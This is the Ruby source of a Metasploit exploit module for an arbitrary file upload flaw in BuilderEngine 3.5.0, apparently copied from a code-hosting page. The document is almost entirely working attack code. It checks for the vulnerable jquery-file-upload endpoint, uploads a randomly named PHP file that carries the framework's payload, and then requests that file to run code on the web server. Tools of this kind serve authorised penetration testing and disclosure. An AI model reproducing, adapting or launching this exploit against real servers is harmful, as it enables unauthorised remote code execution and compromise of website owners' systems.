Path: blob/master/modules/exploits/multi/http/builderengine_upload_exec.rb
32545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::FileDropper9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",16'Description' => %q{17This module exploits a vulnerability found in BuilderEngine 3.5.018via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious19file, which would result in arbitrary remote code execution under the context of20the web server.21},22'License' => MSF_LICENSE,23'Author' => [24'metanubix', # PoC25'Marco Rivoli' # Metasploit26],27'References' => [28['CVE', '2025-34100'],29['EDB', '40390']30],31'Payload' => {32'BadChars' => "\x00"33},34'DefaultOptions' => {35'EXITFUNC' => 'thread'36},37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Targets' => [40['BuilderEngine 3.5.0', {}]41],42'Privileged' => false,43'DisclosureDate' => '2016-09-18',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])56]57)58end5960def check61uri = target_uri.path62uri << '/' if uri[-1, 1] != '/'6364res = send_request_cgi({65'method' => 'GET',66'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')67})6869if res && res.code == 200 && !res.body.blank?70return Exploit::CheckCode::Appears71else72return Exploit::CheckCode::Safe73end74end7576def exploit77uri = target_uri.path7879peer = "#{rhost}:#{rport}"80php_pagename = rand_text_alpha(8 + rand(8)) + '.php'81data = Rex::MIME::Message.new82payload_encoded = Rex::Text.rand_text_alpha(1)83payload_encoded << "<?php "84payload_encoded << payload.encoded85payload_encoded << " ?>\r\n"86data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")87post_data = data.to_s8889res = send_request_cgi({90'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),91'method' => 'POST',92'ctype' => "multipart/form-data; boundary=#{data.bound}",93'data' => post_data94})9596if res97if res.code == 200 && res.body =~ /files|#{php_pagename}/98print_good("Our payload is at: #{php_pagename}. Calling payload...")99register_file_for_cleanup(php_pagename)100else101fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")102end103else104fail_with(Failure::Unknown, 'ERROR')105end106107print_status("Calling payload...")108send_request_cgi(109'method' => 'GET',110'uri' => normalize_uri(uri, 'files/', php_pagename)111)112end113end114115116